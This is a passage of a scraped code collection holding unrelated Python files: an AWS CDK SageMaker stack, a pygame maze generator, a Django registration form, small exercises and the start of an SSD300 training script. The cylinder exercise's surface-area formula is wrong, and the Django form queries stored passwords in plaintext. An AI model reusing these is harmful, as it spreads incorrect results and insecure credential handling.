plt.gca()\n#axes.set_xlim([xmin,xmax])\nax1.set_ylim([0,1])\nax1.set_xlim([1800,2010])\nax2.set_ylim([0,40])\n\n\n\nplt.show()\n\n\n\n#exit(0)\n","sub_path":"misc/sabrioncu.py","file_name":"sabrioncu.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"638460251","text":"import logging\nimport os\nfrom pathlib import Path\nfrom typing import List, Union\n\nfrom aws_cdk import aws_codepipeline as codepipeline\nfrom aws_cdk import aws_events as events\nfrom aws_cdk import aws_events_targets as events_targets\nfrom aws_cdk import aws_iam as iam\nfrom aws_cdk import aws_sagemaker as sagemaker\nfrom aws_cdk import aws_ssm as ssm\nfrom aws_cdk import core as cdk\nfrom aws_cdk import aws_lambda as lambda_\nfrom aws_cdk import aws_lambda_python as lambda_python\nfrom aws_cdk import aws_s3 as s3\n\nfrom infra.sm_pipeline_utils import generate_pipeline_definition, get_pipeline_props\n\nproject_bucket_name = os.getenv(\"PROJECT_BUCKET\")\npipeline_construct_id = os.getenv(\"CODEPIPELINE_CONSTRUCT_ID\")\nproject_name = os.getenv(\"SAGEMAKER_PROJECT_NAME\")\nproject_id = os.getenv(\"SAGEMAKER_PROJECT_ID\")\nsagemaker_execution_role_arn = os.getenv(\"SAGEMAKER_PIPELINE_ROLE_ARN\")\nsm_studio_user_role_arn = os.getenv(\"SAGEMAKER_STUDIO_USER_ROLE_ARN\")\nevents_role_arn = os.getenv(\"LAMBDA_ROLE_ARN\")\nlambda_role_arn = os.getenv(\"LAMBDA_ROLE_ARN\")\n\nlogger = logging.getLogger()\n\ntags = [\n cdk.CfnTag(key=\"sagemaker:project-id\", value=project_id),\n cdk.CfnTag(key=\"sagemaker:project-name\", value=project_name),\n]\n\n\nclass BuildModelStack(cdk.Stack):\n def __init__(\n self,\n scope: cdk.Construct,\n construct_id: str,\n configuration_path: Union[str, Path],\n **kwargs,\n ) -> None:\n super().__init__(scope, construct_id, **kwargs)\n\n eventbridge_role = iam.Role.from_role_arn(\n self, \"EventBridgeRole\", role_arn=events_role_arn\n )\n \n lambda_role = iam.Role.from_role_arn(\n self, \"LambdaRole\", role_arn=lambda_role_arn\n )\n \n sagemaker_execution_role = iam.Role.from_role_arn(\n self, \"SageMakerExecutionRole\", role_arn=sagemaker_execution_role_arn\n )\n \n project_bucket = s3.Bucket.from_bucket_name(\n self, \"ProjectBucket\", bucket_name=project_bucket_name\n )\n\n if not isinstance(configuration_path, Path):\n configuration_path = Path(configuration_path)\n\n for k in configuration_path.glob(\"*.pipeline.json\"):\n logger.info(f\"Reading configurations file {k.name}\")\n pipeline_props = get_pipeline_props(k)\n\n pipeline_name = f\"{project_name}-{pipeline_props['pipeline_name']}\"\n \n # Create lambda function to check model metric\n evaluation_lambda = lambda_python.PythonFunction(\n self,\n f\"{pipeline_name}Evaluation\",\n function_name=f\"{pipeline_name}-Evaluation\",\n description=f\"Get model evaluation metrics for {pipeline_name}\",\n entry=\"lambdas/functions/evaluation\",\n index=\"lambda_function.py\",\n handler=\"lambda_handler\",\n runtime=lambda_.Runtime.PYTHON_3_8,\n timeout=cdk.Duration.seconds(120),\n role=lambda_role\n )\n project_bucket.grant_read(evaluation_lambda)\n \n evaluation_lambda.grant_invoke(sagemaker_execution_role)\n \n pipeline_conf = pipeline_props[\"pipeline_configuration\"]\n pipeline_conf[\"evaluation_func_arn\"] = evaluation_lambda.function_arn\n try:\n logger.info(f\"Generating pipeline definition for {pipeline_name}\")\n pipeline_definition = generate_pipeline_definition(\n role=sagemaker_execution_role_arn,\n region=os.getenv(\"AWS_REGION\"),\n default_bucket=project_bucket_name,\n pipeline_name=pipeline_name,\n pipeline_conf=pipeline_conf,\n code_file_path=pipeline_props[\"code_file_path\"],\n )\n logger.info(f\"Synthetizing the CFN code for {pipeline_name}\")\n sagemaker.CfnPipeline(\n self,\n f\"SageMakerPipeline-{pipeline_name}\",\n pipeline_name=pipeline_name,\n pipeline_definition={\"PipelineDefinitionBody\": pipeline_definition},\n role_arn=sagemaker_execution_role_arn,\n tags=tags,\n )\n except:\n logger.exception(f\"Failed to create {pipeline_name}\")\n\n codepipeline_arn = ssm.StringParameter.from_string_parameter_name(\n self,\n \"ServingPipeline\",\n string_parameter_name=f\"/sagemaker-{project_name}/{pipeline_construct_id}/CodePipelineARN\",\n ).string_value\n\n pipeline = codepipeline.Pipeline.from_pipeline_arn(\n self, \"BuildCodePipeline\", pipeline_arn=codepipeline_arn\n )\n\n features_codepipeline_id = \"FeaturesIngestionPipeline\"\n features_codepipeline_arn = ssm.StringParameter.from_string_parameter_name(\n self,\n \"FeatureIngestionPipeline\",\n string_parameter_name=f\"/sagemaker-{project_name}/{features_codepipeline_id}/CodePipelineARN\",\n ).string_value\n\n events.Rule(\n self,\n \"FeatureIngestionUpdateRule\",\n rule_name=f\"sagemaker-{project_name}-FeaturesIngestionUpdateRule\",\n description=\"Rule to trigger a new deployment when the Feature Ingestion CodePipeline is executed successfully.\",\n event_pattern=events.EventPattern(\n source=[\"aws.codepipeline\"],\n detail_type=[\"CodePipeline Pipeline Execution State Change\"],\n detail={\n \"state\": [\n \"SUCCEEDED\",\n ]\n },\n resources=[features_codepipeline_arn],\n ),\n targets=[\n events_targets.CodePipeline(\n pipeline=pipeline, event_role=eventbridge_role\n )\n ],\n )\n","sub_path":"repos/build_pipeline/infra/build_model_stack.py","file_name":"build_model_stack.py","file_ext":"py","file_size_in_byte":5948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613541321","text":"import pygame\nfrom pygame.locals import *\n\nfrom random import shuffle, choice, randint\nimport sys\n\npygame.init()\n\n\"\"\"\namazer.py\n\nplaying around with different maze generators\nmaking it up as i go\n\na maze will be a multi dimensional array\neach cell in the array will be four bools representing the four exits of that cell\n[N, E, S, W] Never Eat Soggy Waffles syntax\n\"\"\"\nPW = 32\nW, H = 30, 30\n\nif __name__ == \"__main__\":\n SCREEN = pygame.display.set_mode((PW * 20, PW * 20))\n pygame.display.set_caption(\"wow thats a mazing\")\n\n\n# ** ** ** ** THE ALGORITHMS ** ** ** **\n# holy cow this is fun\ndef breadth_first(start=False, show=False):\n maze = blank_sheet()\n ent = start or (randint(0, W-1), randint(0, H-1))\n heads = [ent]\n routes = {ent: [ent]}\n marked = []\n while heads or len(marked) < (W*H)//2:\n if not heads:\n heads.append(choice(marked))\n x, y = heads.pop(0)\n route = routes[(x, y)]\n exits = maze[y][x]\n if show: debug(maze, (x, y), ent, route=routes[(x, y)])\n n = choice([2, 2, 3, 4])\n while sum(exits) < n:\n maze[y][x][randint(0, 3)] = 1\n\n for d, check in enumerate(exits):\n if check:\n x_, y_ = apply_direction(x, y, d)\n if x_ >= 0 and y_ >= 0 and x_ < W and y_ < H:\n if (x_, y_) not in heads and (x_, y_) not in marked:\n maze[y_][x_][(d + 2) % 4] = 1\n heads.append((x_, y_))\n routes[(x_, y_)] = route + [(x_, y_)]\n elif maze[y_][x_][(d + 2) % 4] == 0:\n maze[y][x][d] = 0\n else: maze[y][x][d] = 0\n marked.append((x, y))\n ext = ent\n for route in routes:\n if len(routes[route]) > len(routes[ext]):\n ext = route\n return maze, ent, ext, routes[ext]\n\ndef depth_first(start=False, show=False):\n maze = blank_sheet()\n ent = start or (randint(0, W-1), randint(0, H-1))\n heads = [ent]\n routes = {ent: [ent]}\n marked = []\n while heads or len(marked) < (W*H)//2:\n if not heads:\n heads.append(choice(marked))\n x, y = heads.pop()\n if show: debug(maze, (x, y), ent, route=routes[(x, y)])\n route = routes[(x, y)]\n exits = maze[y][x]\n\n n = choice([2, 2, 3, 4])\n while sum(exits) < n:\n maze[y][x][randint(0, 3)] = 1\n\n for d, check in enumerate(exits):\n if check:\n x_, y_ = apply_direction(x, y, d)\n if x_ >= 0 and y_ >= 0 and x_ < W and y_ < H:\n if (x_, y_) not in heads and (x_, y_) not in marked:\n maze[y_][x_][(d + 2) % 4] = 1\n heads.append((x_, y_))\n routes[(x_, y_)] = route + [(x_, y_)]\n elif maze[y_][x_][(d + 2) % 4] == 0:\n maze[y][x][d] = 0\n else: maze[y][x][d] = 0\n marked.append((x, y))\n ext = ent\n for route in routes:\n if len(routes[route]) > len(routes[ext]):\n ext = route\n return maze, ent, ext, routes[ext]\n\ndef ride_and_shuffle(start=False, show=False):\n maze = blank_sheet()\n ent = start or (randint(0, W-1), randint(0, H-1))\n heads = [ent]\n routes = {ent: [ent]}\n marked = []\n counter = (W + H) // 3\n while heads or len(marked) < (W*H)//2:\n if not heads:\n heads.append(choice(marked))\n if counter <= 0:\n counter = (W + H) // 3\n shuffle(heads)\n x, y = heads.pop()\n if show: debug(maze, (x, y), ent, route=routes[(x, y)])\n route = routes[(x, y)]\n exits = maze[y][x]\n\n n = choice([2, 2, 3, 4])\n while sum(exits) < n:\n maze[y][x][randint(0, 3)] = 1\n\n for d, check in enumerate(exits):\n if check:\n x_, y_ = apply_direction(x, y, d)\n if x_ >= 0 and y_ >= 0 and x_ < W and y_ < H:\n if (x_, y_) not in heads and (x_, y_) not in marked:\n maze[y_][x_][(d + 2) % 4] = 1\n heads.append((x_, y_))\n routes[(x_, y_)] = route + [(x_, y_)]\n elif maze[y_][x_][(d + 2) % 4] == 0:\n maze[y][x][d] = 0\n counter -= 1\n else:\n maze[y][x][d] = 0\n counter -= 1\n marked.append((x, y))\n ext = ent\n for route in routes:\n if len(routes[route]) > len(routes[ext]):\n ext = route\n return maze, ent, ext, routes[ext]\n\n# # # # # # # # # # # # # # # # # # # # #\n\ndef apply_direction(x, y, d):\n return x + [0, 1, 0, -1][d], y + [-1, 0, 1, 0][d]\n \ndef blank_sheet():\n maze = []\n for Y in range(H):\n maze.append([])\n for X in range(W):\n maze[-1].append([0, 0, 0, 0])\n return maze\n\ndef debug(maze, pos1, pos2, lines={}, pause=False, route=False):\n for spos in lines:\n pygame.draw.line(SCREEN, (255, 0, 0), (pos1[0]*PW, pos1[1]*PW), (pos2[0]*PW, pos2[1]*PW))\n SCREEN.blit(drawn_maze(maze, pos1, pos2, route=route, lit=True), (0, 0))\n pygame.display.update()\n for e in pygame.event.get():\n if e.type == QUIT: quit()\n while pause:\n for e in pygame.event.get():\n if e.type == QUIT: quit()\n if e.type == KEYDOWN:\n if e.key == K_SPACE: pause = False \n \n\ndef drawn_maze(maze, ent, ext, route=None, lit=False):\n surf = pygame.Surface((len(maze[0])*PW, len(maze)*PW))\n for Y, line in enumerate(maze):\n for X, cell in enumerate(line):\n col = (255, 255, 255) if lit and (X, Y) in lit else (0, 0, 0)\n if (X, Y) == ent: col = (0, 0, 255)\n elif (X, Y) == ext: col = (0, 255, 0)\n elif route and (X, Y) in route: col = (255, 0, 0)\n if sum(cell): pygame.draw.rect(surf, col, pygame.rect.Rect((X*PW + PW/8, Y*PW + PW/8), (PW - (PW/8)*2, PW - (PW/8)*2)))\n if cell[0]: pygame.draw.rect(surf, col, pygame.rect.Rect((X*PW + PW/8, Y*PW), (PW - (PW/8)*2, PW/8)))\n if cell[1]: pygame.draw.rect(surf, col, pygame.rect.Rect((X*PW + (PW - (PW/8)), Y*PW + PW/8), (PW/8, PW - (PW/8)*2)))\n if cell[2]: pygame.draw.rect(surf, col, pygame.rect.Rect((X*PW + PW/8, Y*PW + (PW - (PW/8))), (PW - (PW/8)*2, PW/8)))\n if cell[3]: pygame.draw.rect(surf, col, pygame.rect.Rect((X*PW, Y*PW + (PW/8)), (PW/8, PW - (PW/8)*2)))\n return surf\n\ndef demo():\n global PW\n x, y = 0, 0\n mazes = [breadth_first(show=True), depth_first(show=True), ride_and_shuffle(show=True)]\n maze, ent, ext, route = mazes.pop(0)\n show = False\n zoom = [8, 16, 32, 64]\n zidx = 1\n img = drawn_maze(maze, ent, ext)\n rimg = drawn_maze(maze, ent, ext, route=route )\n while True:\n if PW != zoom[zidx]:\n PW = zoom[zidx]\n img = drawn_maze(maze, ent, ext)\n rimg = drawn_maze(maze, ent, ext, route=route )\n SCREEN.fill((0, 0, 0))\n if show:\n SCREEN.blit(rimg, (x*PW, y*PW))\n else:\n SCREEN.blit(img, (x*PW, y*PW))\n pygame.display.update()\n for e in pygame.event.get():\n if e.type == QUIT: quit()\n if e.type == KEYDOWN:\n if e.key == K_RIGHT:\n x -= 1\n if e.key == K_LEFT:\n x += 1\n if e.key == K_UP:\n y += 1\n if e.key == K_DOWN:\n y -= 1\n\n if e.key == K_z:\n zidx = (zidx + 1) % 4\n if e.key == K_x:\n zidx = (zidx - 1) % 4\n \n if e.key == K_n:\n if not mazes: quit()\n maze, ent, ext, route = mazes.pop(0)\n img = drawn_maze(maze, ent, ext)\n rimg = drawn_maze(maze, ent, ext, route=route )\n if e.key == K_SPACE:\n show = (show + 1) % 2\n\ndef solve(mazes):\n global PW\n mazes = mazes or [breadth_first(), depth_first(), ride_and_shuffle()] \n for maze, ent, ext, route in mazes:\n img = drawn_maze(maze, ent, ext)\n X, Y = ent\n zoom = [8, 16, 32, 64]\n zidx = 1\n while (X, Y) != ext:\n if PW != zoom[zidx]:\n PW = zoom[zidx]\n img = drawn_maze(maze, ent, ext)\n mov = [0, 0]\n for e in pygame.event.get():\n if e.type == QUIT: quit()\n if e.type == KEYDOWN:\n if e.key == K_UP: mov[1] -= 1\n if e.key == K_DOWN: mov[1] += 1\n if e.key == K_LEFT: mov[0] += 1\n if e.key == K_RIGHT: mov[0] -= 1\n\n if e.key == K_z:\n zidx = (zidx + 1) % 4\n if e.key == K_x:\n zidx = (zidx - 1) % 4\n if sum(mov):\n slot = maze[Y][X]\n if mov[1] < 0 and slot[0]: Y -= 1\n if mov[1] > 0 and slot[2]: Y += 1\n if mov[0] > 0 and slot[3]: X -= 1\n if mov[0] < 0 and slot[1]: X += 1\n SCREEN.fill((0, 0, 0))\n SCREEN.blit(img, ((((SCREEN.get_width() / PW) // 2) - X) * PW, (((SCREEN.get_height() / PW) // 2) - Y) * PW))\n rect = pygame.rect.Rect((((SCREEN.get_width() // PW) // 2) * PW + PW/8, ((SCREEN.get_height() / PW) // 2) * PW + PW/8), (PW-(PW/8)*2, PW-(PW/8)*2))\n pygame.draw.rect(SCREEN, (255, 0, 255), rect)\n pygame.display.update()\n \nif __name__ == \"__main__\":\n if \"-d\" in sys.argv:\n flag = True\n while flag:\n for e in pygame.event.get():\n if e.type == KEYDOWN: flag=False\n demo()\n else:\n solve()\n","sub_path":"amazer.py","file_name":"amazer.py","file_ext":"py","file_size_in_byte":9947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"502763530","text":"from django import forms\nfrom .models import Usuario\nfrom django.core.validators import validate_email\nimport re\n\n\nclass UsuarioForm(forms.ModelForm):\n\n class Meta:\n model = Usuario\n fields = ['nome', 'login', 'senha', 'rg', 'cpf', 'email', 'celular', 'data_nascimento',\n 'cep', 'logradouro', 'complemento', 'bairro',\n 'localidade', 'uf']\n\n def is_valid(self):\n\n valid = True\n\n if not super(UsuarioForm, self).is_valid():\n valid = False\n\n valid_senha = Usuario.objects.filter(senha=self.data['senha'])\n user_exists = Usuario.objects.filter(login=self.data['login']).exists()\n cpf_exists = Usuario.objects.filter(cpf=self.data['cpf']).exists()\n email_exists = Usuario.objects.filter(\n email=self.data['email']).exists()\n\n if user_exists:\n self.adiciona_erro('Usuário já existente')\n valid = False\n\n if cpf_exists:\n self.adiciona_erro('CPF já existente')\n valid = False\n\n if email_exists:\n self.adiciona_erro('E-mail já existente')\n valid = False\n\n return valid\n\n def adiciona_erro(self, message):\n errors = self._errors.setdefault(\n forms.forms.NON_FIELD_ERRORS, forms.utils.ErrorList())\n errors.append(message)\n","sub_path":"usuario/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"222995889","text":"import sys\nimport os\nimport shutil\n\"\"\"\n@Name: rmdir\n@Description: remove directory\n@Params: cmd(list) - to remove a directory\n\"\"\"\ndef rmdir(cmd):\n\tos.system('touch output.txt')\n\t\n\tpath=os.getcwd()\n\tpath=path+\"/\"+cmd[1]\n\tif os.path.exists(path):\n\t\tshutil.rmtree(cmd[1])\n\telse: \n\t\tprint(\"rmdir: failed to remove '\"),\n\t\tprint(cmd[1]),\n\t\tprint(\"': No such file or directory\")\n\treturn\n","sub_path":"Projects/Shell Project/cmd_pkg/rmdir.py","file_name":"rmdir.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"435905695","text":"class Solution:\n \"\"\"\n @param nums: A set of numbers\n @return: A list of lists\n \"\"\"\n def subsets(self, nums):\n nums = sorted(nums)\n results = []\n\n self.dfs(nums, 0, results, [])\n\n return results\n\n def dfs(self, nums, index, results, curt):\n results.append(curt[:])\n\n for i in range(index, len(nums)):\n curt.append(nums[i])\n self.dfs(nums, i + 1, results, curt)\n curt.pop()\n","sub_path":"Amazon 2019秋招面试高频题/2 - Amazon Onsite/17. Subsets.py","file_name":"17. Subsets.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"378568583","text":"from PyQt5 import QtWidgets, QtGui, QtCore\nfrom PyQt5.QtWidgets import QHBoxLayout, QCheckBox\n\nfrom epr.eprtypes import MergeType, MailingType\nfrom widgets.widgets import JGreenDialog\n\n\nclass MergeConfirmationDialog(JGreenDialog):\n def __init__(self, mailingType, parent=None):\n super().__init__(parent)\n\n self.setWindowTitle(\"Confirm merge\")\n\n self.horizButtons = QHBoxLayout()\n\n self.lInfo = QtWidgets.QLabel(\"Please confirm any merge options and merge format\", self)\n\n self.checkForceZera = QCheckBox(\"Force ZERA\")\n self.checkForceZera.setToolTip(\"This rent will get PR type 'ZERA' regardless of what is owed\")\n\n self.checkSuppressS166 = QCheckBox(\"Suppress S166\")\n self.checkSuppressS166.setToolTip(\"The PR will not include S166 page in the output\")\n\n self.buttonPdf = QtWidgets.QPushButton(\"PDF\")\n self.buttonPdf.clicked.connect(self.pdf)\n self.horizButtons.addWidget(self.buttonPdf)\n\n self.buttonEditablePdf = QtWidgets.QPushButton(\"Editable PDF\")\n self.buttonEditablePdf.clicked.connect(self.editablePdf)\n self.horizButtons.addWidget(self.buttonEditablePdf)\n\n self.buttonWord = QtWidgets.QPushButton(\"Word\")\n self.buttonWord.clicked.connect(self.word)\n self.buttonWord.setStyleSheet(\"background-color: #B0D3E8;\")\n self.horizButtons.addWidget(self.buttonWord)\n\n self.buttonCancel = QtWidgets.QPushButton(\"Cancel\")\n self.buttonCancel.clicked.connect(self.cancel)\n self.buttonCancel.setStyleSheet(\"background-color: #DB7272;\")\n self.horizButtons.addWidget(self.buttonCancel)\n\n self.vertLayout = QtWidgets.QVBoxLayout(self)\n self.vertLayout.addWidget(self.lInfo)\n self.vertLayout.addSpacing(20)\n self.vertLayout.addWidget(self.checkForceZera)\n if mailingType == MailingType.Pr:\n self.vertLayout.addWidget(self.checkSuppressS166)\n self.vertLayout.addSpacing(20)\n self.vertLayout.addLayout(self.horizButtons)\n\n self.mergeType = \"None\"\n self.editable = False\n\n def pdf(self):\n self.mergeType = MergeType.Pdf\n self.accept()\n\n def editablePdf(self):\n self.mergeType = MergeType.Pdf\n self.editable = True\n self.accept()\n\n def word(self):\n self.mergeType = MergeType.Word\n self.accept()\n\n def cancel(self):\n self.reject()\n\n def getMergeType(self):\n return self.mergeType\n\n def getEditable(self):\n return self.editable\n\n def getForceZera(self):\n return self.checkForceZera.isChecked()\n\n def getSuppressS166(self):\n return self.checkSuppressS166.isChecked()","sub_path":"epr/mergeconfirmationdialog.py","file_name":"mergeconfirmationdialog.py","file_ext":"py","file_size_in_byte":2690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"169318135","text":"'''\nWrite the necessary code calculate the volume and surface area\nof a cylinder with a radius of 3.14 and a height of 5. Print out the result.\n\n\n'''\n\n# import the math library\nimport math\n\n# assign the values of the radius and height\ncylinder_radius = 3.14\ncylinder_height = 5\n\n# calculate the volume and area rounded to 2 decimal places\ncylinder_volume = round(math.pi * cylinder_height * cylinder_radius ** 2, 2)\ncylinder_area = round(2 * math.pi * cylinder_radius * cylinder_height - 2 * math.pi * cylinder_radius ** 2, 2)\n\n# print the results\nprint(\"The area of the cylinder is \", cylinder_area)\nprint(\"The volume of the cylinder is \", cylinder_volume)\n","sub_path":"02_basic_datatypes/1_numbers/02_01_cylinder.py","file_name":"02_01_cylinder.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"553021451","text":"from django.conf.urls import url\nfrom view_ssl import views\n\n\nurlpatterns = [\n url(\n r'^$',\n views.all_ssl,\n name='all_ssl'\n ),\n url(\n r'^sql/$',\n views.all_ssl_sql,\n name='all_ssl_sql'\n ),\n url(\n r'^certificate/(?P[\\d]+)/$',\n views.one_ssl,\n name='one_ssl'\n ),\n url(\n r'^sql/certificate/(?P[\\d]+)/$',\n views.one_ssl_sql,\n name='one_ssl_sql'\n )\n]\n","sub_path":"view_ssl/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"602161124","text":"#!/usr/bin/env python3\n# ipv4addr.py - IPv4 address functions\nimport socket, binascii\n\nfor host in [\"python.org\", \"teradata.com\"]:\n print(host)\n try:\n address = socket.gethostbyname(host)\n print(\"\\taddress:\", address)\n packed = socket.inet_aton(address)\n print(\"\\tpacked:\", binascii.hexlify(packed))\n unpacked = socket.inet_ntoa(packed)\n print(\"\\tunpacked:\", unpacked)\n except socket.error as msg:\n raise SystemExit(\"%s\" %msg)\n\n#####################################\n#\n# $ ipv4addr.py\n# python.org\n# address: 23.253.135.79\n# packed: b'17fd874f'\n# unpacked: 23.253.135.79\n# teradata.com\n# address: 153.65.20.219\n# packed: b'994114db'\n# unpacked: 153.65.20.219\n#\n","sub_path":"py3/pgms/sec5/ipv4addr.py","file_name":"ipv4addr.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585928856","text":"# coding: utf-8\n# Sophie and Jason, living in n * m grid composed of grass.\n# Sophie at (1,1), Jason at (n, m). Now Sophie wants to visit Jason,\n# at each step she goes to (i, j + 1) or (i + 1, j),\n# there are k obsticles on the grass.\n# In the grid (multiple obsticles may be in the same box).\n# If Sophie takes random steps (if she is on the border, there is only one choice),\n# then what is the probablity she does not touch the mushroom to Jason's home?\n#\n# Input Description:\n# The first row N, M, K (2 ≤ N, M ≤ 20, k ≤ 100), N, M is the grassland size,\n# the next K rows, two lines of each line x, y, on behalf of (x, y) There is a\n# mushroom.\n#\n# Output Description:\n# Output a line representing the required probability (reserved for 2 decimal places)\n#\n# Input:\n# 2 2 1\n# 2 1\n#\n# Output:\n# 0.50\n################\n\nn_rows = 2\nm_cols = 2\nmushrooms = [(2,1)]\n# mushrooms = [(1,2),(2,1)]\n# mushrooms = [(2,2)]\n\n# so the total combinations of paths available is 2^(m+n-2)\n\nwalks = {}\n\ndef visit(i_row, j_col, compromised=False, path=\"\"):\n # print(i_row, j_col)\n compromised = compromised or (i_row, j_col) in mushrooms\n path += str((i_row, j_col))\n if i_row == n_rows and j_col == m_cols:\n print(path, compromised)\n global walks\n walks[path] = compromised\n elif i_row == n_rows:\n visit(i_row, j_col + 1, compromised, path)\n elif j_col == m_cols:\n visit(i_row + 1, j_col, compromised, path)\n else:\n visit(i_row, j_col + 1, compromised, path)\n visit(i_row + 1, j_col, compromised, path)\n\n\nvisit(1, 1)\n# print(walks)\ntouched = 0\nfor path in walks:\n touched += 1 if walks[path] else 0\nprint(touched/float(len(walks)))\n\n\n","sub_path":"grass_mushrooms.py","file_name":"grass_mushrooms.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"397367953","text":"import sys\nsys.stdin = open(\"input.txt\")\n\nfrom collections import deque\n\ndef iswall(nx,ny):\n if nx < 0 or ny < 0:\n return False\n if nx >= N or ny >= M:\n return False\n if matrix[nx][ny] == 0:\n return False\n return True\n\ndef bfs(end_x,end_y):\n queue = deque()\n queue.append((0,0,1))\n visited = [[0 for _ in range(M)] for _ in range(N)]\n visited[0][0] = 1\n while queue:\n x,y,cnt = queue.popleft()\n for i in range(4):\n nx, ny = x+dx[i], y+dy[i]\n if iswall(nx,ny) and visited[nx][ny] == 0:\n if nx == end_x and ny == end_y:\n return cnt + 1\n queue.append((nx,ny,cnt+1))\n visited[nx][ny] = 1\nglobal N, M\nN, M = map(int,input().split())\nmatrix = [list(map(int,input())) for _ in range(N)]\ndx = [0,0,1,-1]\ndy = [1,-1,0,0]\n\nprint(bfs(N-1,M-1))\n\n","sub_path":"프로그래머스/DFS,BFS/Basic2.py","file_name":"Basic2.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"426143107","text":"# Copyright 2021 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport sys\nimport os\nimport stat\nimport time\nimport io\nimport gc\nimport logging\nfrom bisect import bisect # for lr_scheduler\nfrom contextlib import redirect_stdout\nfrom opt_loss import OptLoss\nfrom mlperf_logger import configure_logger, log_start, log_end, log_event, set_seeds, get_rank, barrier\nfrom mlperf_logging.mllog import constants\nimport torch\nfrom torch.autograd import Variable\nfrom base_model import Loss\nfrom apex import amp\nfrom ssd300 import SSD300\nfrom master_params import create_flat_master\nfrom parse_config import parse_args, validate_arguments, validate_group_bn\nfrom data.build_pipeline import prebuild_pipeline, build_pipeline\nfrom box_coder import dboxes300_coco, build_ssd300_coder\nfrom async_evaluator import AsyncEvaluator\nfrom eval import coco_eval\nfrom apex.optimizers import NpuFusedSGD\nfrom torch.nn.parallel import DistributedDataParallel\nimport numpy as np\n# necessary pytorch imports\nimport torch.utils.data.distributed\nimport torch.distributed as dist\nif torch.__version__ >= '1.8':\n import torch_npu\ntry:\n from torch_npu.utils.profiler import Profile\nexcept Exception:\n print(\"Profile not in torch_npu.utils.profiler now.. Auto Profile disabled.\", flush=True)\n class Profile:\n def __init__(self, *args, **kwargs):\n pass\n\n def start(self):\n pass\n\n def end(self):\n pass\n\n# Apex imports\ntry:\n import apex_C\n import apex\n from apex.parallel.LARC import LARC\n from apex.parallel import DistributedDataParallel as DDP\n from apex.fp16_utils import convert_network\n from apex.multi_tensor_apply import multi_tensor_applier\nexcept ImportError:\n raise ImportError(\"Please install APEX from https://github.com/nvidia/apex\")\n\n\nclass Logger(object):\n logfile = \"\"\n\n def __init__(self, filename=\"\"):\n self.logfile = filename\n self.terminal = sys.stdout\n return\n\n def write(self, message):\n self.terminal.write(message)\n if self.logfile != \"\":\n try:\n fd = os.open(self.logfile, os.O_RDWR|os.O_CREAT, stat.S_IRWXU)\n self.log = os.fdopen(fd, \"a\")\n self.log.write(message)\n self.log.close(fd)\n except Exception:\n pass\n\n def flush(self):\n pass\n\n\ndef print_message(rank, *print_args):\n if rank == 0:\n print(*print_args)\n\ndef load_checkpoint(model, checkpoint):\n print(\"loading model checkpoint\", checkpoint)\n od = torch.load(checkpoint)\n # remove proceeding 'module' from checkpoint\n saved_model = od[\"model\"]\n for k in list(saved_model.keys()):\n if k.startswith('module.'):\n saved_model[k[7:]] = saved_model.pop(k)\n model.load_state_dict(saved_model)\n\ndef check_async_evals(args, evaluator, threshold):\n finished = 0\n # Note: only one rank does COCOEval, so we need to check there if we've\n # finished -- we'll broadcast that to a \"finished\" tensor to determine\n # if we should stop\n # Note2: ssd_print contains a barrier() call, implemented with all_reduce\n # If we conditional on rank 0, then an ssd_print all_reduce matches with\n # the finished all_reduce and all hell breaks loose.\n if args.rank == 0:\n for epoch, current_accuracy in evaluator.finished_tasks().items():\n # Note: Move to per-iter check\n # EVAL_START should be prior to the accuracy/score evaluation but adding the missing EVAL_START here for now\n log_start(key=constants.EVAL_START, metadata={'epoch_num' : epoch})\n log_event(key=constants.EVAL_ACCURACY,\n value=current_accuracy,\n metadata={'epoch_num' : epoch})\n log_end(key=constants.EVAL_STOP, metadata={'epoch_num' : epoch})\n if current_accuracy >= threshold:\n finished = 1\n\n # handle the non-distributed case -- don't need to bcast, just take local result\n if not args.distributed:\n return finished == 1\n\n # Now we know from all ranks if they're done - reduce result\n # Note: Already caught the non-distributed case above, can assume broadcast is available\n with torch.no_grad():\n finish_tensor = torch.tensor([finished], dtype=torch.int32, device=torch.device('npu'))\n torch.distributed.broadcast(finish_tensor, src=0)\n\n # >= 1 ranks has seen final accuracy\n if finish_tensor.item() >= 1:\n return True\n\n # Default case: No results, or no accuracte enough results\n return False\n\ndef lr_warmup(optim, warmup_iter, iter_num, epoch, base_lr, args):\n if iter_num < warmup_iter:\n warmup_step = base_lr / (warmup_iter * (2 ** args.warmup_factor))\n new_lr = base_lr - (warmup_iter - iter_num) * warmup_step\n\n for param_group in optim.param_groups:\n 